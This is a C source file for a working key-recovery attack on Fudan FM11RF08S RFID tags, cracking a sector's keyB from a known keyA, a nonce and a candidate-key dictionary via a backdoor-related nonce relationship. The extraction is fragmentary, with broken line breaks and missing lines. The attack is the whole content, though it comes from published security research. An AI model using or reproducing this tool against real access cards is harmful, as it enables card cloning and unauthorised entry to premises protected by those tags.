1 // Faster Backdoored Nested Attack against Fudan FM11RF08S tags, part 2
5 // * keyA and keyB are different for the targeted sector
8 // * Use f08s_nested_known_collision to crack keyA
9 // * If keyB not readable, find keyB in its dictionary based on the obscure relationship between keyA, keyB and their nT
11 // Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
19 static uint32_t hex_to_uint32(const char *hex_str
) {
20 return (uint32_t)strtoul(hex_str
, NULL
, 16);
23 uint16_t i_lfsr16
[1 << 16] = {0};
24 uint16_t s_lfsr16
[1 << 16] = {0};
26 static void init_lfsr16_table(void) {
28 for (uint16_t i
= 1; i
; ++i
) {
29 i_lfsr16
[(x
& 0xff) << 8 | x
>> 8] = i
;
30 s_lfsr16
[i
] = (x
& 0xff) << 8 | x
>> 8;
31 x
= x
>> 1 | (x
^ x
>> 2 ^ x
>> 3 ^ x
>> 5) << 15;
35 // static uint16_t next_lfsr16(uint16_t nonce) {
36 // return s_lfsr16[(i_lfsr16[nonce]+1) % 65535];
39 static uint16_t prev_lfsr16(uint16_t nonce
) {
40 return s_lfsr16
[(i_lfsr16
[nonce
] - 1) % 65535];
43 static uint16_t compute_seednt16_nt32(uint32_t nt32
, uint64_t key
) {
44 uint8_t a
[] = {0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7};
45 uint8_t b
[] = {0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11};
46 uint16_t nt
= nt32
>> 16;
49 for (uint8_t i
= 0; i
< prev
; i
++) {
56 for (uint8_t i
= 0; i
< 6 * 8; i
+= 8) {
59 nt
^= (a
[(key
>> i
) & 0xF]);
60 nt
^= (b
[(key
>> i
>> 4) & 0xF]) << 4;
62 nt
^= (b
[(key
>> i
) & 0xF]);
63 nt
^= (a
[(key
>> i
>> 4) & 0xF]) << 4;
69 for (uint8_t j
= 0; j
< prevoff
; j
++) {
76 int main(int argc
, char *const argv
[]) {
79 printf("Usage:\n %s <nt1:08x> <key1:012x> keys_<uid:08x>_<sector:02>_<nt2:08x>.dic\n"
80 " where dict file is produced by rf08s_nested_known *for the same UID and same sector* as provided nt and key\n",
85 uint32_t nt1
= hex_to_uint32(argv
[1]);
87 if (sscanf(argv
[2], "%012" PRIx64
, &key1
) != 1) {
88 fprintf(stderr
, "Failed to parse key: %s", argv
[2]);
92 char *filename
= argv
[3];
93 uint32_t uid
, sector
, nt2
;
95 int result
= sscanf(filename
, "keys_%8x_%2u_%8x.dic", &uid
, §or
, &nt2
);
97 fprintf(stderr
, "Error: Failed to parse the filename %s.\n", filename
);
102 fprintf(stderr
, "Error: File must belong to different nonce.\n");
108 uint32_t keycount2
= 0;
109 uint64_t *keys2
= NULL
;
111 FILE *fptr
= fopen(filename
, "r");
115 while (fscanf(fptr
, "%012" PRIx64
, &buffer
) == 1) {
119 keys2
= (uint64_t *)calloc(1, keycount2
* sizeof(uint64_t));
121 perror("Failed to allocate memory");
128 for (uint32_t i
= 0; i
< keycount2
; i
++) {
129 if (fscanf(fptr
, "%012" PRIx64
, &keys2
[i
]) != 1) {
130 perror("Failed to read key");
138 fprintf(stderr
, "Warning: Cannot open %s\n", filename
);
142 printf("%s: %u keys loaded\n", filename
, keycount2
);
145 uint16_t seednt1
= compute_seednt16_nt32(nt1
, key1
);
146 for (uint32_t i
= 0; i
< keycount2
; i
++) {
147 if (seednt1
== compute_seednt16_nt32(nt2
, keys2
[i
])) {
148 printf("MATCH: key2=%012" PRIx64
"\n", keys2
[i
]);
154 printf("No key found :(\n");